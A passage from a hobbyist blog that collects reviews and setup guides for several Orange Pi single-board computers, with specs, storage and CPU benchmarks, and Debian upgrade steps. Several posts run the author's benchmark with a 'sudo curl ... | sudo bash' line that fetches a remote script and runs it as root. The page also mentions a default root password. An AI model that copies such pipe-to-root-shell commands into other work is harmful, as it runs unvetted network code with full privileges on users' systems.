around $10-12 (also see Kioxia 128GB M.2 2230 module*). You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 375.32 MB/s HDParm Cached Disk Read 381.15 MB/s DD Disk Write 234 MB/s FIO 4k random read 47080 IOPS (188321 KB/s) FIO 4k random write 35128 IOPS (140514 KB/s) IOZone 4k read 75628 KB/s IOZone 4k write 67285 KB/s IOZone 4k random read 35874 KB/s IOZone 4k random write 70620 KB/s Score: 17,718 The full Orange Pi 5 benchmark can be viewed here on Pi Benchmarks. That is an outstanding score. We are getting NVMe performance. This score actually even beats my ODROID M1 benchmark. The Orange Pi 5 is without a doubt a very powerful board and is performing exactly where it should be. Other Resources I’ve also covered how to install Steam on the Orange Pi 5 here I’ve also reviewed the Orange Pi portable monitor here (with the Orange Pi 5 connected) If you are looking for alternative WiFi adapters for the Orange Pi 5 see my using E-keyed WiFi adapters with the Orange Pi 5 guide here! I’ve written a review for the Orange Pi 5 available here All of my single board computer reviews are available here #### Orange Pi 5 Review – Powerful, No WiFi Orange Pi 5 SBC Review The Orange Pi 5 has finally arrived! I received my pre-order and the board is great. So should you go out and buy it? Probably, but there are some things you should know first that you may not be expecting. The biggest thing to know is that there is no WiFi/Bluetooth included. If you were planning on using Ethernet anyway this doesn’t have much of an impact. If you do need wireless capabilities we’ll cover what options are available. In this review we’ll cover what you need to know about the Orange Pi 5 including it’s onboard capabilities, the available RAM options as well as benchmark the board. Let’s get started! Table of Contents Toggle Hardware UsedCustom WiFi Module (Added 1/13/2023)SpecificationsBuild QualityI/O BenchmarkingBenchmarking vs. Pi 4 (added 12/16/2022)Pros / ConsProsConsConclusionOther Resources Hardware Used Orange Pi 5 The Orange Pi 5 the latest release from Orange Pi and is the most powerful model yet. It has a 6 core CPU and options from 4GB of RAM all the way up to 32GB of RAM! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Kioxia 2230 M2 NVMe Drive The Kioxia (Toshiba) 128GB M.2 2230 PCIe NVMe drive is much shorter than most NVMe drives (full size is 2280). It fits great with single board computers / tablets / other smaller form factors. Links: Amazon.com*, Amazon.ca*, Amazon.co.uk*, Amazon.co.jp*, Amazon.com.au*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Custom WiFi Module (Added 1/13/2023) Orange Pi 5 Custom WiFi Module The Orange Pi 5 official wireless module is designed to fit into a M-keyed M.2 slot (the only one the Orange Pi 5 has). This WiFi adapter will work with both Linux and Android. Links: Amazon.com* Specifications CPU8-core 64-bit processor Big.Little Architecture: 4xCortex-A76 and 4xCortex-A55Big core cluster is 2.4GHzLittle core cluster is 1.8GHz frequencyGPUMali-G610 MP4 “Odin” GPU Compatible with OpenGL ES1.1/2.0/3.2OpenCL 2.2 and Vulkan 1.2 3D graphics engine and 2D graphics engineNPUBuilt-in AI accelerator NPU with up to 6 TOPSSupports INT4/INT8/INT16 mixed operationPMURK806-1RAM4GB/8GB/16GB/32GB (LPDDR4/4x)MemoryQSPI Nor FLASH 16MB MicroSD (TF) Card Slot M.2 M-KEY SocketUSBUSB3.0 × 1 USB2.0 × 2 Type-C (USB3.1) ×1Video OutputHDMI2.1, up to 8K @60Hz DP1.4 (DisplayPort)DP 1.4 and USB 3.1 ports are multiplexed and the port is shared with Type-C 2 * MIPI D-PHY TX 4LaneConfigurable up to 4K @60HzCameraMIPI CSI 4Lane 2 * MIPI D-PHY RX 4LaneAudioCODEC: ES8388 3.5mm headphone jack audio input/output Input: Onboard MIC HDMI 2.1 eARCEthernet10/100/1000Mbps EthernetExpansion PortFor extending UART, PWM, I2C, SPI, CAN and GPIO interfaces.M.2 M-KEY Socket Expansion SlotSupports PCIe NVMe SSDSupports custom PCIe Wi-Fi 6 + Bluetooth 5.0 moduleButton1×MaskROM key 1×Recovery key 1×On/Off keyPower SourceSupport Type-C power supply 5V @ 4ALEDPower indicator: red Status indicator: greenDebugging3 Pin debug serial port (UART)Supported OSOrangePi OS (Droid)OrangePi OS (Arch)UbuntuDebianAndroid12Dimensions62mm*100mmWeight46g Build Quality The Orange Pi 5 is built very well. Everything is clearly labeled and visible. The PCB is a nice blue color. I received board revision/version 1.2. Here is the top view: Orange Pi 5 – Top View You can see the holographic effect on the RockChip CPU in the middle of the board. As you move it in the light you get a neat little effect. The bottom of the board only contains a few connections such as the M.2 slot, a CAM slot and a couple others. Here’s the bottom view: Orange Pi 5 – Bottom View I/O Benchmarking For the review I used a SSSTC 128GB 2230 M.2 NVMe drive. These are available on Amazon for around $10-12 (also see Kioxia 128GB M.2 2230 module*). You can verify the performance of your drive on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 375.32 MB/s HDParm Cached Disk Read 381.15 MB/s DD Disk Write 234 MB/s FIO 4k random read 47080 IOPS (188321 KB/s) FIO 4k random write 35128 IOPS (140514 KB/s) IOZone 4k read 75628 KB/s IOZone 4k write 67285 KB/s IOZone 4k random read 35874 KB/s IOZone 4k random write 70620 KB/s Score: 17,718 The full Orange Pi 5 benchmark can be viewed here on Pi Benchmarks. That is an outstanding score. We are getting NVMe performance. This score actually even beats my ODROID M1 benchmark. The Orange Pi 5 is without a doubt a very powerful board and is performing exactly where it should be. Keep in mind that this is PCIe 2.0 performance. This board does not have PCIe 3.0 (only the RK3588 proper has that, not the RK3588S). UPDATE 1/2/2023: If you update the Orange Pi 5 firmware by using sudo orangepi-config and choosing “System->Firmware” and then choose to update the firmware I was able to get *low* PCIe 2.0 performance (about 280MB/s). I highly recommend updating the firmware with sudo orangepi-config. You may see some marginal improvements! Due to this you should not use a powerful NVMe drive with the Orange Pi 5. You are limited in speeds to around 500MB/s at best (according to Orange Pi themselves via the user manual) and more like 250MB/s write according to the benchmarking. If you need help setting up SSD booting see my Orange Pi 5 SSD Boot Guide here. Benchmarking vs. Pi 4 (added 12/16/2022) I’ve now installed my heat sinks which looks like this: Orange Pi 5 with Heat Sinks That means it’s time for a head-to-head benchmarking match against the Pi 4 to see how the Orange Pi 5 compares. For the benchmark I used the “hardinfo” benchmark which can be installed on most Linux flavors with: sudo apt install hardinfo Here are the results: TestOrange Pi 5Pi 4CPU Blowfish (lower is better)2.65s5.24sCPU CryptoHash (higher is better)574.49 MiB/s466.37 MiB/sCPU Fibonacci (lower is better)0.5s1.73sCPU N-Queens (lower is better)4.24s8.74sCPU Zlib (higher is better)0.800.31FPU FFT (lower is better)1.23s5.52sFPU Raytracing (lower is better)2.86s2.18sGPU Drawing (higher is better)2064.13 HiMarks1708.15 HiMarks That is almost a clean sweep for the Orange Pi 5! The only category it didn’t win was FPU raytracing interestingly enough. On GPU drawing performance however the Orange Pi 5 scored significantly higher and also won all other categories. Pros / Cons Pros 4 GB and 8 GB RAM variants cost under $100 M.2 slot supports high speed NVMe storage RAM options from 4 GB all the way up to 32 GB available Cons No WiFi or Bluetooth included (requires either adapter for the M.2 slot or a USB adapter to get WiFi/Bluetooth capabilities) No eMMC option PCIe speeds are limited to 500MB/s (PCIe 2.0, benchmarks show closer to 250MB/s write or PCIe 1.0 performance) — this is slower than SATA3 Conclusion The Orange Pi 5 feels almost perfect except for the lack of built in WiFi / Bluetooth. This seems like a surprising choice on what seems like is portrayed as their “flagship” model. Fortunately it is easy to add WiFi/Bluetooth on the board via either the custom M.2 wireless PCB or by using one of your USB ports and just using a USB-based WiFi/BT chip. The board performs extremely well. The GPU is powerful on the board and feels very snappy while using the desktop OS and applications. This board would be a good choice for almost any use case. It would make a great Minecraft server as well. I’d recommend this one for just about anyone. The price is right. There are widely varying amounts of RAM available depending on what you need. There are good Linux and Android images available even at launch. At under $100 for the 4 GB – 8 GB the Orange Pi 5 is priced well in this market especially for the power and flexibility it offers! Other Resources I’ve also covered how to install Steam on the Orange Pi 5 here I’ve also reviewed the Orange Pi portable monitor here (with the Orange Pi 5 connected) If you’d like to use an alternative WiFi adapter see my E-key to M-key adapter guide here Make sure to see my Orange Pi 5 SSD Boot Guide to see how to set up your NVMe drive to be the root partition for your OS Don’t miss the rest of my single board computer reviews here The Orange Pi Zero 2 is a great headless option from Orange Pi available for <$35 or so I’ve also recently reviewed the Orange Pi 3 LTS which is a long term support variant equivalent in power roughly to a Pi 4! #### Orange Pi 800 Computer Kit Review Orange Pi 800 Computer Kit Review I’m certainly not the first to review the Orange Pi 800 computer kit. It has been available for a while now. That’s exactly why I wanted to take a look at the Orange Pi 800 as a more mature product today. In this review we’ll take a look at the packaging, build quality, specifications and test the performance of the Orange Pi 800 and see how well it has matured since it’s initial release. Let’s begin! Table of Contents Toggle Hardware UsedSpecificationsPackagingBuild QualityAvailable ImagesTesting PerformancePros / ConsProsConsConclusionOther Resources Hardware Used Orange Pi 800 Desktop Kit The Orange Pi 800 has a 6-core processor and 4GB of memory. It’s meant to compete with the Raspberry Pi 400 and comes in a keyboard-integrated form factor! Links: Amazon.com*, AliExpress*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Specifications CPU• Rockchip RK3399 (28nm HKM process)• 6-core ARM® 64-bit processor• Based on the large and small size core architecture of big.LITTLE• Dual-core Cortex-A72 up to 1.8GHz (large core)• Quad-core Cortex-A53 up to 1.4GHz (small core)GPUARM Mali-T860MP4RAM4GB (LPDDR4)eMMC64GBEthernetGigabit EthernetWiFiDual-band (2.4GHz and 5.0GHz) IEEE 802.11a/b/g/n/ac WirelessBluetoothBluetooth 5.0BLEVideo Output1*HDMI2.0Supports 4K@60fps outputVGA*1AudioOutput: 3.5mm JackHDMI 2.0Speakers Input: MICKeyboard78-key QWERTY KeyboardUSB portUSB2.0*1USB3.0*2Power SupplyType-CGPIO26 PinOrange Pi 800 Specifications Packaging The kit came in one box like this: Orange Pi 800 – Packaging The scratch on the box was due to me not being careful enough with the scissors when opening the more plain box that it came inside of. Once we open it up we can see the power adapter and Orange Pi 800 packed very nicely inside: Orange Pi 800 – Inner Packaging I moved the foam pad slightly so you could see the Orange Pi 800 packed underneath there. Build Quality The Orange Pi 800 is built really solid. The chassis doesn’t really flex if you try to bend it. Here is the top view: Orange Pi 800 – Top You can see that the keyboard itself looks very similar to the Raspberry Pi 400. It has everything you’d expect included. Now let’s take a look at the bottom: Orange Pi 800 – Bottom The most notable thing here is the model information as well as the ventilation holes for cooling. Much more interesting to look at though is the rear I/O panel: Orange Pi 800 – Rear I/O Here you can see the power connector on the far left as well as the 26 pin GPIO. We also have a headphone jack and interestingly a VGA output! Yes, it has a VGA output for some reason. That’s definitely a bit of a surprise but it may be handy for some people. We also have the SD card slot as well as the Ethernet and the USB ports respectively. All of the connections feel solid. Available Images The official image download page for the Orange Pi 800 is here. This includes the following selections at time of writing: Orange Pi 800 – Downloads These include: Orange Pi OS (Droid) Ubuntu Debian Manjaro Testing Performance You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 208.48 MB/s HDParm Cached Disk Read 208.54 MB/s DD Disk Write 137 MB/s FIO 4k random read 26459 IOPS (105839 KB/s) FIO 4k random write 14504 IOPS (58016 KB/s) IOZone 4k read 47950 KB/s IOZone 4k write 37861 KB/s IOZone 4k random read 36408 KB/s IOZone 4k random write 34870 KB/s Score: 9,713 The full Orange Pi 800 benchmark can be viewed here on Pi Benchmarks. Holy smokes! This is excellent performance that far exceeds what you would get with a SD card. This is actually very fast for eMMC as well. Most Raspberry Pi eMMC tests (found in the Compute Module 4) score something like 5000-6000 points. This is much higher performance than that. There’s almost no point in SSD booting this device because you won’t be able to get much faster performance than this board is scoring anyways without going to NVMe (which this board can’t do). The only reason you’d want to use a SSD is to get access to more storage than 64GB. It won’t really be for performance reasons on the Orange Pi 800. Pros / Cons Pros Has onboard 64GB eMMC storage Includes power adapter Plug and play — comes pre-imaged with Linux Cons Doesn’t include HDMI cable Conclusion The Orange Pi 800 provides the same out-of-box experience as the Raspberry Pi 400 kit. Unlike the Raspberry Pi 400 though there is no SD card that you need to use with the device (although there is a slot for one of course). The device is plug-and-play and comes pre-installed with Linux (Orange Pi OS). I can strongly recommend this device for beginners. It will come ready out of the box for you to use. All you have to do is connect everything and turn it on. The eMMC is also *smoking* fast on this device. You are literally better off performance-wise (at least for storage performance) by nearly 10x by going with an Orange Pi 800 and the included eMMC vs. the Raspberry Pi 400 with the included SD card (slow). It is just about an order of magnitude higher than any SD card is going to give you (a score of around 900-1100 vs. the 9,713 of the Orange Pi 800). For more advanced users I’d probably recommend the Orange Pi 5. It has an 8-core CPU instead of a 6-core CPU. It’s definitely not as easy to get started with as this one and is more similar to getting started with a Raspberry Pi 4. You’ll have to do some imaging and preparation for it. There are also memory configurations above 4GB available. I’m excited to see what Orange Pi has in mind for their next version of this. I’d love to see an updated version with the 8 core CPU that they put in the Orange Pi 5 (the RK3588S). This version is definitely still worth picking up and has matured well! Other Resources I’ve reviewed the Orange Pi portable monitor (great for the Orange Pi 800) here If you want an even more powerful SBC from Orange Pi then check out my review on the Orange Pi 5 You can see all of my Orange Pi related articles here #### Orange Pi i96 Getting Started Guide Orange Pi i96 Recently I reviewed the Orange Pi Zero 2 and thought it was a fantastic board. I really like the amount of polish that the Orange Pi line of products have as it is the closest I have seen to anything approaching a Raspberry Pi experience. We also benchmarked the Orange Pi Zero 2 and determined it’s a very capable board. I recently got a Orange Pi i96 (thanks munecito!) and this board is very exciting because it was purchased on sale for ~$10! That is insanely cheap. The reason it’s so cheap is because it’s a headless board that doesn’t contain any display-out ports. If you are going to be using the board headless anyway (I use most of my SBCs headlessly) you may be able to save a fortune with this board. Let’s get started! Table of Contents Toggle Hardware UsedGetting StartedWriting the ImageFirst StartupConnection Option #1Connection Option #2Initial Configurationorangepi-config UtilityFix Second Startup (Debian / Ubuntu)Set TimezoneSetup LocalesSetup Wireless CRDA Regulatory DomainOptional – Upgrade Debian OS to Buster/BullseyePerformance BenchmarkingConclusionOther Resources Hardware Used Orange Pi i96 The Orange Pi i96 is a low-cost board from the Orange Pi line of SBCs. It uses the RDA8810 SoC and has 256MB LPDDR2 SDRAM. It’s well suited for headless tasks and is astonishingly cheap. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.sg* Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Getting Started EDIT: I now recommend using my fixed Orange Pi i96 image as it will fix your USB port to be able to operate at full speed and give you a much newer OS of Debian Bullseye. Alternatively you may use the official images (not recommended for this board). If you’d like to use the official images instead head to the official Orange Pi downloads page: Orange Pi – Official Downloads Page Now select the Orange Pi i96 from the list. I will be using Ubuntu Linux for this guide but you may use Armbian as well. If you are wanting to try Android I highly recommend seeing my Orange Pi Android Installation Guide as the installation process is different than Linux. Writing the Image The images are typically distributed as a .tar.gz file. The name of the Ubuntu image tar.gz file at time of writing was OrangePi_i96_ubuntu_xenial_server_linux3.10.62_v0.0.4.tar.gz. We will need to extract this file. If you are using Windows then grab 7-zip to be able to extract a .tar.gz file. Inside this file will be a .img file. Since I downloaded the Ubuntu image the name of my file was OrangePi_i96_ubuntu_xenial_server_linux3.10.62_v0.0.4.img. This is the image that we are going to write to our SD card. There are several choices to write the image to your SD card. If you are on Windows I recommend Win32DiskImager. Etcher is also available for Windows/Linux/Mac OS X. Write the image to the SD card using your preferred software. First Startup Before starting up you should make sure that the Orange Pi’s switches are in these positions (indicating to boot from SD card): Orange Pi – SD Startup Position Orange Pi – SD Startup Position We’re ready to put the SD card into the Orange Pi i96. But how are we going to connect to the device? There’s no network port and the device isn’t configured to connect to our WiFi yet. Connection Option #1 If you happen to have a USB to Ethernet adapter that is the easiest way to connect to the device for initial configuration: USB to Ethernet Adapter Connection Option #2 If you have a TTL to USB serial debug adapter* you can use that as well. See the OrangePi instructions for that method. Initial Configuration orangepi-config Utility Once you’ve connected it’s time to do some basic configuration. We will use the tool orangepi-config: sudo orangepi-config You may now set the WiFi settings, etc. The orangepi-config is just like raspi-config if you’ve ever used that on a Raspberry Pi. Don’t reboot before doing the next section. Fix Second Startup (Debian / Ubuntu) You will notice if you reboot the device it will often not come up the second startup. This is especially likely if you performed a sudo apt dist-upgrade. To prevent this I recommend removing the alsautils package. This will impact sound functionality on the board but as I was not using it and intended to use this more as a headless board this was fine for me. sudo apt purge alsa-utils If you need to have the sound working on the board there is an alternate solution available here. This is not necessary in my Legendary image as it has kernel fixes for these issues (highly recommended) Set Timezone Replace my timezone with yours in the following commands: rm /etc/localtime ln -s /usr/share/zoneinfo/America/Denver /etc/localtime Setup Locales Setting the locales isn’t in orangepi-config (such as it is in raspi-config) but here’s a quick way to set them: sudo apt install locales -y sudo dpkg-reconfigure locales Setup Wireless CRDA Regulatory Domain For the wireless to function very well at all you need to set the wireless regulatory domain. If you are not using my image then you will first need to install the crda package with: sudo apt install crda -y Now we can set the regulatory domain by editing the following file: sudo nano /etc/default/crda At the bottom of the file there is this line: REGDOMAIN= Put the 2 letter country code for your country. Mine is “US”. Once finished press Ctrl+X then Y to save the file. Optional – Upgrade Debian OS to Buster/Bullseye Note that this will not upgrade the kernel. You can upgrade everything else though including all the way up to Bullseye. You should do this one release at a time and start with “Stretch” and then do “Bullseye” afterward. If you are using the Debian installation you can upgrade to Buster by editing your /etc/apt/sources.list file. Change all instances of “stretch” in the file to “buster” and then do the following: sudo apt update && sudo apt dist-upgrade -y Once this has completed reboot the system (make sure you’ve done my fix second reboot section first by purging alsa-utils). Verify you are on Buster with cat /etc/os-release for example: root@orangepii96:/# cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 10 (buster)" NAME="Debian GNU/Linux" VERSION_ID="10" VERSION="10 (buster)" VERSION_CODENAME=buster ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/" Now you can upgrade to Bullseye. It’s almost the same as upgrading from Stretch to Buster but there has been a change in the security updates server format. Here is a working “Bullseye” apt sources file for the Debian Orange Pi i96 image: root@orangepii96:/# cat /etc/apt/sources.list deb http://ftp.debian.org/debian bullseye main contrib non-free #deb-src http://ftp2.cn.debian.org/debian bullseye main contrib non-free deb http://ftp.debian.org/debian bullseye-updates main contrib non-free #deb-src http://ftp2.cn.debian.org/debian bullseye-updates main contrib non-free deb http://security.debian.org/ bullseye-security main contrib non-free #deb-src http://security.debian.org/ bullseye-security main contrib non-free Once you’ve changed the files do a sudo apt update and make sure you don’t see any errors. If everything looks okay start the Bullseye upgrade with: sudo apt full-upgrade -y After a reboot you should be on Bullseye! We can verify this with cat /etc/os-release: orangepi@orangepii96:~$ cat /etc/os-release PRETTY_NAME="Debian GNU/Linux 11 (bullseye)" NAME="Debian GNU/Linux" VERSION_ID="11" VERSION="11 (bullseye)" VERSION_CODENAME=bullseye ID=debian HOME_URL="https://www.debian.org/" SUPPORT_URL="https://www.debian.org/support" BUG_REPORT_URL="https://bugs.debian.org/" orangepi@orangepii96:~$ uname -a Linux orangepii96 3.10.62-rel5.0.2+ #4 PREEMPT Wed Mar 18 18:49:25 CST 2020 armv7l GNU/Linux Notice that the kernel has not changed at all (as cautioned at the beginning of the section) but everything else on the system will be Bullseye! Performance Benchmarking I benchmarked the board using a SanDisk Extreme SD card on my Pi Benchmarks web site. This gives us comparable results between boards and there are over 30,000 benchmarks submitted for various boards / storage devices. I had a total score of 497. This was below average or off from an average Raspberry Pi setup by about 47%. To be clear the storage performance on the board is relatively low compared to the Orange Pi Zero 2 or a Raspberry Pi (Zero or 4). That is to be expected for a price of around ~$7-$10. I’m not sure I would say this is a disappointing result though. We are talking about a board that is a single digit number of dollars. For the price point that is fantastic performance! In fact for the price point it’s a wonder that it works at all. Conclusion It’s a great board. At a price point of $7-$10 it reminds me of the really, really old Raspberry Pi Zero days where you could actually get a Raspberry Pi for around that price point. The Zero 2 is a significantly more powerful board. It benchmarked much higher than the i96 but it also costs significantly more. If you need more power that board will be a better choice. If you’ve never had an Orange Pi before I would recommend the Zero 2 first as this board is quite a bit trickier and has more outdated software available for it. The version of Ubuntu on this board is also quite old (Ubuntu 16.04 / Xenial) compared to the Orange Pi Zero 2 which is actually running a modern 5.X kernel whereas this one is a 3.X kernel. Make sure that is not going to be a problem or you will want to step up to a higher Orange Pi. The i96 is definitely meant for simple services / projects that don’t need a lot of power. It’s perfect for those. If you need a headless board then the Orange Pi i96 may very well fit the bill for you, the price is certainly right! Don’t skip the heatsinks though. It got very warm during testing (warm enough to freeze once during consecutive benchmarks) and Orange Pis are known to get quite hot! Other Resources I highly recommend using the Legendary i96 Debian Bullseye image available here I’ve also reviewed the Orange Pi portable monitor here Don’t miss my Orange Pi Zero 2 Review / Tips / Guide for another great board (with display connections) I’ve also reviewed the Orange Pi 3 LTS which is roughly equivalent in power to a 2GB Pi 4 If you’re trying to set up Android definitely see my Orange Pi Android Installation Guide For the fastest storage options check out my Linux storage benchmarking script #### Orange Pi Zero 2 – Review / Benchmark / Tips – ~$35 Price Orange Pi Zero 2 – Included Case Recently for my storage benchmarking site I had a GitHub issue opened about the Orange Pi Zero 2 not being able to complete the storage benchmark successfully. We were able to get the board going after a lot of troubleshooting but it was pretty difficult to troubleshoot as I had never had one of these boards before. Until now! I recently received my first and only ever hardware donation to the site from munecito who graciously donated one of these boards to help improve the benchmark (it did not only for SBCs but it now supports PCs as well). Thank you munecito! I was very interested in how this board compares to the Raspberry Pi experience and ecosystem because we are having a massive Raspberry Pi shortage right now and that is exactly what we are going to do. I also have some general tips for getting the most out of the Orange Pi based on our troubleshooting experience. Let’s proceed! Table of Contents Toggle Hardware UsedUnboxingOrange Pi Images / Web SitePro Tip: Choose the newest image / kernelPro Tip #2: Use a heatsink kitImagingTesting PerformancePros / ConsProsConsConclusionOther Resources Hardware Used Orange Pi Zero 2 The Orange Pi Zero 2 is a low-cost board from the Orange Pi line of SBCs. It has both a 512 MB or 1 GB RAM option available. Built-in WiFi with included external antenna. Also includes case and a short USB-c power cable. Seems to be pretty widely available in most countries. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se* Orange Pi Wireless Mouse The Orange Pi official mouse uses 2.4GHz wireless to give you a wireless mouse experience with the Orange Pi Links: Amazon.com*, AliExpress* Orange Pi Portable Monitor The Orange Pi monitor is meant to be a portable monitor you can take anywhere. It has a resolution of 1080P and features a hinge in the back that folds out to support the monitor. Links: Amazon.com*, AliExpress* Unboxing I don’t do the unboxing stuff very often and typically leave that for YouTube. In this case though we are exploring the experience vs. Raspberry Pi so it’s a useful endeavor. Given that let’s do what I assume is the first blog-based unboxing of a hardware product in a written medium that anyone has bothered to do in years! Orange Pi Zero 2 – Unboxed From that little white box came all of these accessories! It includes a case, the power cable (USB) and the WiFi external antenna. That’s really generous as unless you buy a vendor bundle with a Pi you usually get nothing (with the exception of the Pi 400 Desktop Kit*). So far so good. They gave us everything we need to start except the SD card. Now it’s time to take a look at their web site and see what the experience of getting an image looks like! Orange Pi Images / Web Site The official web site to download Orange Pi images is here at orangepi.org. It’s remarkably straight forward to use (especially compared to other SBCs) and looks like this: Orange Pi – Official Downloads Page Other than a really huge amount of empty space around the search box in the middle of the page for no reason I really like it. I clicked the Orange Pi Zero 2 model specific download page: Orange Pi Zero 2 – Model Download Page This surprised me a little bit. They actually have an Ubuntu image, an Android image and a Debian image all ready to go! They also have the respective source code available for Linux and Android. I chose the Ubuntu image. There were many versions available which brings us to our most important tip. Pro Tip: Choose the newest image / kernel During my testing on GitHub with munecito we discovered that using the older “stable” image he could not successfully complete several tests on my storage benchmark without the Orange Pi completely locking up / crashing. I recognized these types of lockups / crashes as usually being related to the kernel. I’d seen some of these kernel fixes for Raspberry Pi take *years* to make it through all the necessary checks / processes to make it into to the kernel. Once that happens it then needs to be backported into the specific kernel you are using. Given how long this process can take for a manufacturer as big as Raspberry Pi I figured for Orange Pi that some of them may never make it into some of those old “stable” backported kernels. We then tried imaging it with a newer 5.X kernel and finally after much frustration he was able to successfully complete the storage benchmark! The newer kernel had fixed the issues that were causing it to crash. On these smaller board manufacturers it’s definitely best to go with a newer kernel. The older “stable” kernels make sense for well-established boards that are well supported. These boards are new and fixes are being made all the time and you definitely want to have those! Pro Tip #2: Use a heatsink kit The Orange Pi boards are known to run hot as is the case with many single board computers. It really goes a long way to get a good heatsink kit that has thermally conductive adhesive (cheap heatsink kits can sometimes have non-conductive adhesive which basically traps the heat and has an opposite effect). Something like the Geekworm copper heatsink kit (designed to fit many different SBCs including Orange Pi) works wonders: Geekworm Copper Heatsink Set The Geekworm copper heatsink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heatsink kits for SBCs don’t have. Eliminates hotspots and reduces throttling. Can be further enhanced by powered cooling over the heatsinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Imaging Imaging was pretty straight forward. You just use a standard imaging tool like Etcher or Win32DiskImager or any of the other many image writing tools. I actually just used Ubuntu’s built in “Disk Imager” tool to write the image which worked perfectly. Testing Performance After finishing writing Ubuntu Server with the latest available kernel (5.16.17 at time of writing) I plugged in the Orange Pi. Everything lit up appropriately so I logged into my router to find the assigned IP. I connected with SSH to that IP and used the username of root and a password of orangepi: root@192.168.50.24's password: ___ ____ _ _____ ____ / _ \| _ \(_) |__ /___ _ __ ___|___ \ | | | | |_) | | / // _ \ '__/ _ \ __) | | |_| | __/| | / /| __/ | | (_) / __/ \___/|_| |_| /____\___|_| \___/_____| Welcome to Orange Pi 3.0.4 Jammy with Linux 5.16.17-sun50iw9 System load: 27% Up time: 8 min Memory usage: 14% of 984M IP: 192.168.50.24 CPU temp: 54°C Usage of /: 3% of 58G [ 11 security updates available, 16 updates total: apt upgrade ] Last check: 2022-07-13 20:40 [ General system configuration (beta): orangepi-config ] New to Orange Pi? Support: http://www.orangepi.org root@orangepizero2:~# and we’re in, with a cute little ASCII art message of the day greeting! I already had some apt updates available so I started with those first: apt update && apt dist-upgrade -y Once the updates completed I wanted to benchmark the Pi Zero 2. I am using an application class (A1) SanDisk Ultra card that I have benchmarked while using the Pi so I know what the score “should” be that we can compare with what the Pi Zero 2 gets for a meaningful comparison. I ran my Pi Benchmarks storage benchmark with the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash and I ended up with a very nice score of 1,081. You can see this benchmark (#61,129) on Pi Benchmarks here. It looks like this: Orange Pi Zero 2 – Benchmark #61,129 This was higher than I was expecting as I knew this was not as powerful of a board as something like the Pi 4. I was only down about 15% from the average for the Pi 4. You can see the -15% vs average in the above screenshot. When munecito tested his board his was off by 20-25% or so as well so I fared slightly better than him but I think we could say it’s roughly 20% of a performance penalty from something like a Pi 4. It’s certainly a lot more than 20-25% cheaper than a Pi 4 though! You are getting a lot of bang for your buck here. Pros / Cons Pros Armbian support and good up-to-date official images Price is extremely attractive for what you get Cons Although smaller than most boards it’s not as small as a Pi Zero Not the best choice for desktop performance (best for headless use) Conclusion The Orange Pi Zero 2 at a price of around ~$35 or so reminds me a lot of the original Raspberry Pi. This is a much more accessible board than the Raspberry Pi today both in availability and price. There are many models of Orange Pi available that are both less powerful and significantly more powerful than the Orange Pi Zero 2. I hope the Raspberry Pi foundation gets back to their roots a little bit here and offers realistic options at this price point again. They made a decision to support the industrial partners through this shortage above consumers because they acknowledge that people have built their entire business models and livelihoods around the product. The pain for non-industrial users is real though in the mean time and for that reason I wanted to examine some alternatives. The original intended use for this board by munecito is for a Pi Hole. That is a perfect use case for a board like 